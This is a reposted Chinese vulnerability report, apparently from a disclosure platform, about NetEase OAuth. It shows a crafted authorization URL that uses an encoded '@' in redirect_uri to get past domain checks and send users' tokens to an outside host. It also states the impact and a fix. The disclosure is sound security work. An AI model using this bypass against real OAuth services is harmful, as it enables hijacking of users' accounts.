网站地图    收藏   

主页 > 后端 > 网站安全 >

绕过网易oauth认证的redirect_uri限制劫持帐号token

来源:自学PHP网    时间:2015-04-16 23:14 作者: 阅读:

[导读] 这里是通过网易帐号登录56网的授权页面:https: api t 163 com oauth2 authorize?client_id=II5coZy8DdAtKt7aredirect_uri=http%3A%2F%2Fapp 56 com%2Fcooperate%2Findex php%3Faction%3DWeibo%26tag%3Dwy%26do...

这里是通过网易帐号登录56网的授权页面:
 
https://api.t.163.com/oauth2/authorize?client_id=II5coZy8DdAtKt7a&redirect_uri=http%3A%2F%2Fapp.56.com%2Fcooperate%2Findex.php%3Faction%3DWeibo%26tag%3Dwy%26do%3DCheckLogin%26from%3Dregbox&response_type=code&state=unk-qogvtqoomz
 
 
 
 
其中,client_id(类似于appkey)与redirect_uri绑定,如果更改redirect_uri参数为其他域名,则会返回错误:
 
{"request":"/oauth2/authorize","error":"error=redirect_uri_mismatch","error_code":"401","message_code":"A440153"}
 
 
 
 
 
 
漏洞存在于redirect_uri参数。redirect_uri参数可以使用%40来绕过有效性检查。
 
我们构造一个地址:
 
https://api.t.163.com/oauth2/authorize?client_id=II5coZy8DdAtKt7a&redirect_uri=http%3A%2F%2Fapp.56.com%40wooyun.org
 
 
其中,redirect_uri参数解码后为:
 
http://app.56.com@wooyun.org
 
 
 
 
成功地绕过了有效性检查。
 
登录后进行授权,成功跳转到了我们指定的地址,token泄漏:
 



危害:黑客可以精心构造一个页面来记录、劫持用户的token,进而控制用户的帐号。
 
修复方案:
加强对redirect_uri参数的校验

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论